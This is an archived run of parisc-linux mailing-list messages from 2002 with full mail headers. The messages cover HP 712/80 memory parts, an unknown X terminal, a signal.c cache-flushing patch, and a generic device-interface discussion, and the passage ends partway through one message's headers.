> > 3 weeks was actually a computer - a hp 712-80 to be precise; and I
> am
> 
> Yes, that happened here as well. The HP-UX on the box was toast.
> 
> > It came with no floppy, no harddrive, and no memory - I've bought a
> > el-cheapo 2nd hand generic 2Gb SCSI drive; and now need to squeeze
> > linux onto it :)
> 
> You still need memory :)

On a side note about memory, I don't think anyone here has gotten any
memory to work besides HP memory in these boxes.  I have tons of 8MB
modules laying around for them.  Only 4 memory slots so the bigger the
simms the better.  The 712/80 maxes out at 128MB (4X32MB).  No one has
gotten the floppy to work on Debian either so don't worry about that. 
HP part numbers for memory:  A2575-60001(or 69001) 32MB, A2576-60001(or
69001) 16MB, and there are many variations on the 8MB ones.  One of
them is 98236-66524.  Any keyboard and any PS/2 mouse should work, but
becareful about what monitors you use.  Not all will work.  You are
better off loading the thing with an ASCII terminal and serial cable
first.  Good luck!

derek
HP harware fixer-uper....


__________________________________________________
Do you Yahoo!?
U2 on LAUNCH - Exclusive greatest hits videos
http://launch.yahoo.com/u2


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Broken Cache Flushing in arch/parisc/kernel/signal.c.??
Date: 13 Nov 2002 00:44:52 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <1037173492.9031.7.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621915 16821 80.91.229.3 (22 Nov 2014 02:05:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 00:44:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id B73004829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 00:44:56 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 63C072B282
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 00:44:52 -0700 (MST)
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16760

Hello parisc-linux hackers,

I spent the evening tracking down why the serial mux failed to start
init and I kept getting the cow message on 2.5.47...and why it worked
for 2.5.46-pa7. After re-merging all the cvs commits in the last 4 days,
I finally tracked the problem down to this chunk of code from
arch/parisc/kernel/singal.c:

Index: arch/parisc/kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/signal.c,v
retrieving revision 1.6
diff -u -p -r1.6 signal.c
--- arch/parisc/kernel/signal.c	10 Nov 2002 19:39:16 -0000	1.6
+++ arch/parisc/kernel/signal.c	13 Nov 2002 07:38:58 -0000
@@ -308,8 +308,21 @@ setup_rt_frame(int sig, struct k_sigacti
 	}
 #endif
 
+#if CACHE_FLUSHING_IS_NOT_BROKEN
 	flush_icache_range((unsigned long) &frame->tramp[0],
 			   (unsigned long) &frame->tramp[4]);
+#else
+       /* It should *always* be cache line-aligned, but the compiler
+           sometimes screws up. */
+       asm volatile("fdc 0(%%sr3,%0)\n\t"
+                    "fdc %1(%%sr3,%0)\n\t"
+                    "sync\n\t"
+                    "fic 0(%%sr3,%0)\n\t"
+                    "fic %1(%%sr3,%0)\n\t"
+                    "sync\n\t"
+                    : : "r" (frame->tramp), "r" (L1_CACHE_BYTES));
+#endif
+
 	rp = (unsigned long) frame->tramp;
 
 	if (err)


This patch is needed to restore the functionality of the 2.5.46 kernel
so the Serial Mux, pdc console, etc will boot on the K460, etc.  I did
not want to re-commit this patch because it is ugly, and it would be
nice to figure out how to solve this problem properly.  

Any thoughts, suggestions, etc?

Thanks!

- Ryan





From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What did I find
Date: Tue, 12 Nov 2002 23:47:38 -0800 (PST)
Lines: 26
Approved: news@gmane.org
Message-ID: <20021113074738.97911.qmail@web12505.mail.yahoo.com>
References: <3d.277be522.2b02f338@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621916 16825 80.91.229.3 (22 Nov 2014 02:05:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:16 +0000 (UTC)
To: Longjos@aol.com, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 00:47:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id 009D44829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 00:47:42 -0700 (MST)
Original-Received: from [12.24.252.219] by web12505.mail.yahoo.com via HTTP; Tue, 12 Nov 2002 23:47:38 PST
In-Reply-To: <3d.277be522.2b02f338@aol.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16761

--- Longjos@aol.com wrote:
> Perhaps you can help me identify this box that I found at a surplus
> auction.
> It says on it:
> Visual Technology Model: TX100M
> When powered up it says it is an X terminal, but it has no X Server 
> installed. It has to boot from Tftp, or the sort. 
> My main problem is, I can't find any reference to this thing. I have
> no idea 
> what software it runs.
> Can anyone help me?
> Thanks
> 

I know that HP's version of this box (Envizex, Entria, and 700/RX
X-Terminals) were diskless and bootp'd from an HP9000 UNIX box over the
network. 

derek


__________________________________________________
Do you Yahoo!?
U2 on LAUNCH - Exclusive greatest hits videos
http://launch.yahoo.com/u2


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miles Bader <miles@lsi.nec.co.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: 13 Nov 2002 16:46:58 +0900
Lines: 17
Approved: news@gmane.org
Message-ID: <buon0odsyh9.fsf__3121.22563268549$1416621916$gmane$org@mcspd15.ucom.lsi.nec.co.jp>
References: <20021109060342.GA7798@kroah.com>
	<200211091533.gA9FXuW02017@localhost.localdomain>
	<20021113061310.GD2106@kroah.com>
Reply-To: Miles Bader <miles@gnu.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621916 16826 80.91.229.3 (22 Nov 2014 02:05:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:16 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 00:48:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TYO201.gate.nec.co.jp (TYO201.gate.nec.co.jp [210.143.35.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13BE94829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 00:48:03 -0700 (MST)
Original-Received: from mailgate4.nec.co.jp ([10.7.69.197])
	by TYO201.gate.nec.co.jp (8.11.6/3.7W01080315) with ESMTP id gAD7l6l04685;
	Wed, 13 Nov 2002 16:47:06 +0900 (JST)
Original-Received: from mailsv4.nec.co.jp (mailgate51.nec.co.jp [10.7.69.196]) by mailgate4.nec.co.jp (8.11.6/3.7W-MAILGATE-NEC) with ESMTP
	id gAD7l5423309; Wed, 13 Nov 2002 16:47:05 +0900 (JST)
Original-Received: from mcsss2.ucom.lsi.nec.co.jp ([10.30.114.133]) by mailsv4.nec.co.jp (8.11.6/3.7W-MAILSV4-NEC) with ESMTP
	id gAD7l4215578; Wed, 13 Nov 2002 16:47:04 +0900 (JST)
Original-Received: from mcspd15.ucom.lsi.nec.co.jp (mcspd15 [10.30.114.174])
	by mcsss2.ucom.lsi.nec.co.jp (8.10.2+Sun/3.7Wlsi_mx_6.0) with ESMTP id gAD7kxB24806;
	Wed, 13 Nov 2002 16:46:59 +0900 (JST)
Original-Received: by mcspd15.ucom.lsi.nec.co.jp (Postfix, from userid 31295)
	id D08073814; Wed, 13 Nov 2002 16:46:58 +0900 (JST)
System-Type: i686-pc-linux-gnu
Blat: Foop
In-Reply-To: <20021113061310.GD2106@kroah.com>
Original-Lines: 16
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16762

Greg KH <greg@kroah.com> writes:
> What is the real reason for needing this, pci_alloc_consistent()?  We
> have talked about renaming that to dev_alloc_consistent() in the past,
> which I think will work for you, right?

This this would end up [or have the ability to] invoking a bus-specific
routine at some point, right?  [so that a truly PCI-specific definition
could be still be had]

Thanks,

-Miles
-- 
[|nurgle|]  ddt- demonic? so quake will have an evil kinda setting? one that 
            will  make every christian in the world foamm at the mouth? 
[iddt]      nurg, that's the goal 


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Broken Cache Flushing in arch/parisc/kernel/signal.c.??
Date: Tue, 12 Nov 2002 23:52:34 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20021113075234.GF8261@tausq.org>
References: <1037173492.9031.7.camel@beavis>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621916 16827 80.91.229.3 (22 Nov 2014 02:05:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 00:48:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 385C34829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 00:48:08 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id ED888CDB1A; Tue, 12 Nov 2002 23:52:34 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <1037173492.9031.7.camel@beavis>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16763

> +#if CACHE_FLUSHING_IS_NOT_BROKEN
>  	flush_icache_range((unsigned long) &frame->tramp[0],
>  			   (unsigned long) &frame->tramp[4]);
> +#else
> +       /* It should *always* be cache line-aligned, but the compiler
> +           sometimes screws up. */
> +       asm volatile("fdc 0(%%sr3,%0)\n\t"
> +                    "fdc %1(%%sr3,%0)\n\t"
> +                    "sync\n\t"
> +                    "fic 0(%%sr3,%0)\n\t"
> +                    "fic %1(%%sr3,%0)\n\t"
> +                    "sync\n\t"
> +                    : : "r" (frame->tramp), "r" (L1_CACHE_BYTES));
> +#endif
> +

<sigh>
this is partly my fault, since i thought we have unbroken cache flushing
and asked thibaut to check this in... now i see that the original code
flushes sr3 space, but flush_icache_range() flushes the kernel space...
oops!

perhaps we should just check the old code back in for now?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Tue, 12 Nov 2002 23:52:23 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20021113075223.GZ2106__47716.3048730747$1416621917$gmane$org@kroah.com>
References: <20021109060342.GA7798@kroah.com> <200211091533.gA9FXuW02017@localhost.localdomain> <20021113061310.GD2106@kroah.com> <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621917 16830 80.91.229.3 (22 Nov 2014 02:05:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:17 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Miles Bader <miles@gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 00:57:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kroah.com (12-231-249-244.client.attbi.com [12.231.249.244])
	by dsl2.external.hp.com (Postfix) with SMTP id 5D1C34829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 00:57:45 -0700 (MST)
Original-Received: (qmail 2846 invoked by uid 500); 13 Nov 2002 07:52:23 -0000
Content-Disposition: inline
In-Reply-To: <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16764

On Wed, Nov 13, 2002 at 04:46:58PM +0900, Miles Bader wrote:
> Greg KH <greg@kroah.com> writes:
> > What is the real reason for needing this, pci_alloc_consistent()?  We
> > have talked about renaming that to dev_alloc_consistent() in the past,
> > which I think will work for you, right?
> 
> This this would end up [or have the ability to] invoking a bus-specific
> routine at some point, right?  [so that a truly PCI-specific definition
> could be still be had]

If that was needed, yes, we should not break that functionality.

Are there any existing archs that need more than just dma_mask moved to
struct device out of pci_dev?  Hm, ppc might need a bit more...

thanks,

greg k-h


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miles Bader <miles@lsi.nec.co.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: 13 Nov 2002 17:02:39 +0900
Lines: 20
Approved: news@gmane.org
Message-ID: <buoisz1sxr4.fsf__10878.8031073802$1416621917$gmane$org@mcspd15.ucom.lsi.nec.co.jp>
References: <20021109060342.GA7798@kroah.com>
	<200211091533.gA9FXuW02017@localhost.localdomain>
	<20021113061310.GD2106@kroah.com>
	<buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp>
	<20021113075223.GZ2106@kroah.com>
Reply-To: Miles Bader <miles@gnu.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621917 16832 80.91.229.3 (22 Nov 2014 02:05:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:17 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 01:03:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TYO202.gate.nec.co.jp (TYO202.gate.nec.co.jp [210.143.35.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3D224829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 01:03:08 -0700 (MST)
Original-Received: from mailgate4.nec.co.jp ([10.7.69.195])
	by TYO202.gate.nec.co.jp (8.11.6/3.7W01080315) with ESMTP id gAD82gl25631;
	Wed, 13 Nov 2002 17:02:42 +0900 (JST)
Original-Received: from mailsv4.nec.co.jp (mailgate51.nec.co.jp [10.7.69.190]) by mailgate4.nec.co.jp (8.11.6/3.7W-MAILGATE-NEC) with ESMTP
	id gAD82fD11904; Wed, 13 Nov 2002 17:02:41 +0900 (JST)
Original-Received: from mcsss2.ucom.lsi.nec.co.jp ([10.30.114.133]) by mailsv4.nec.co.jp (8.11.6/3.7W-MAILSV4-NEC) with ESMTP
	id gAD82e209092; Wed, 13 Nov 2002 17:02:40 +0900 (JST)
Original-Received: from mcspd15.ucom.lsi.nec.co.jp (mcspd15 [10.30.114.174])
	by mcsss2.ucom.lsi.nec.co.jp (8.10.2+Sun/3.7Wlsi_mx_6.0) with ESMTP id gAD82dB24826;
	Wed, 13 Nov 2002 17:02:39 +0900 (JST)
Original-Received: by mcspd15.ucom.lsi.nec.co.jp (Postfix, from userid 31295)
	id 537513814; Wed, 13 Nov 2002 17:02:39 +0900 (JST)
System-Type: i686-pc-linux-gnu
Blat: Foop
In-Reply-To: <20021113075223.GZ2106@kroah.com>
Original-Lines: 19
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16765

Greg KH <greg@kroah.com> writes:
> > This this would end up [or have the ability to] invoking a bus-specific
> > routine at some point, right?  [so that a truly PCI-specific definition
> > could be still be had]
> 
> If that was needed, yes, we should not break that functionality.
> 
> Are there any existing archs that need more than just dma_mask moved to
> struct device out of pci_dev?  Hm, ppc might need a bit more...

I can't speak for `real machines,' but on my wierd embedded board,
pci_alloc_consistent allocates from a special area of memory (not
located at 0) that is the only shared memory between PCI devices and the
CPU.  pci_alloc_consistent happens to fit this situation quite well, but
I don't think a bitmask is enough to express the situation.

-Miles
-- 
Ich bin ein Virus. Mach' mit und kopiere mich in Deine .signature.


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: Wed, 13 Nov 2002 00:10:08 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20021113081008.GC2106__299.658047925$1416621917$gmane$org@kroah.com>
References: <20021109060342.GA7798@kroah.com> <200211091533.gA9FXuW02017@localhost.localdomain> <20021113061310.GD2106@kroah.com> <buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp> <20021113075223.GZ2106@kroah.com> <buoisz1sxr4.fsf@mcspd15.ucom.lsi.nec.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621917 16835 80.91.229.3 (22 Nov 2014 02:05:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:17 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Miles Bader <miles@gnu.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 01:15:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kroah.com (12-231-249-244.client.attbi.com [12.231.249.244])
	by dsl2.external.hp.com (Postfix) with SMTP id 5D8564829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 01:15:34 -0700 (MST)
Original-Received: (qmail 2945 invoked by uid 500); 13 Nov 2002 08:10:08 -0000
Content-Disposition: inline
In-Reply-To: <buoisz1sxr4.fsf@mcspd15.ucom.lsi.nec.co.jp>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16766

On Wed, Nov 13, 2002 at 05:02:39PM +0900, Miles Bader wrote:
> Greg KH <greg@kroah.com> writes:
> > > This this would end up [or have the ability to] invoking a bus-specific
> > > routine at some point, right?  [so that a truly PCI-specific definition
> > > could be still be had]
> > 
> > If that was needed, yes, we should not break that functionality.
> > 
> > Are there any existing archs that need more than just dma_mask moved to
> > struct device out of pci_dev?  Hm, ppc might need a bit more...
> 
> I can't speak for `real machines,' but on my wierd embedded board,
> pci_alloc_consistent allocates from a special area of memory (not
> located at 0) that is the only shared memory between PCI devices and the
> CPU.  pci_alloc_consistent happens to fit this situation quite well, but
> I don't think a bitmask is enough to express the situation.

What does your pci_alloc_consistent() function need from the pci_dev
structure in order to do what you need it to do?  Anything other than
the dma_mask value?

thanks,

greg k-h


From - Thu Nov 08 21:25:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Miles Bader <miles@lsi.nec.co.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Untested port of parisc_device to generic device interface
Date: 13 Nov 2002 17:26:34 +0900
Lines: 19
Approved: news@gmane.org
Message-ID: <buoadkdswn9.fsf__25873.073822777$1416621918$gmane$org@mcspd15.ucom.lsi.nec.co.jp>
References: <20021109060342.GA7798@kroah.com>
	<200211091533.gA9FXuW02017@localhost.localdomain>
	<20021113061310.GD2106@kroah.com>
	<buon0odsyh9.fsf@mcspd15.ucom.lsi.nec.co.jp>
	<20021113075223.GZ2106@kroah.com>
	<buoisz1sxr4.fsf@mcspd15.ucom.lsi.nec.co.jp>
	<20021113081008.GC2106@kroah.com>
Reply-To: Miles Bader <miles@gnu.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-2022-jp
X-Trace: ger.gmane.org 1416621918 16837 80.91.229.3 (22 Nov 2014 02:05:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:18 +0000 (UTC)
Cc: "J.E.J. Bottomley" <James.Bottomley@steeleye.com>,
	Matthew Wilcox <willy@debian.org>,
	"Adam J. Richter" <adam@yggdrasil.com>, andmike@us.ibm.com,
	hch@lst.de, linux-kernel@vger.kernel.org, mochel@osdl.org,
	parisc-linux@lists.parisc-linux.org
To: Greg KH <greg@kroah.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 01:27:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
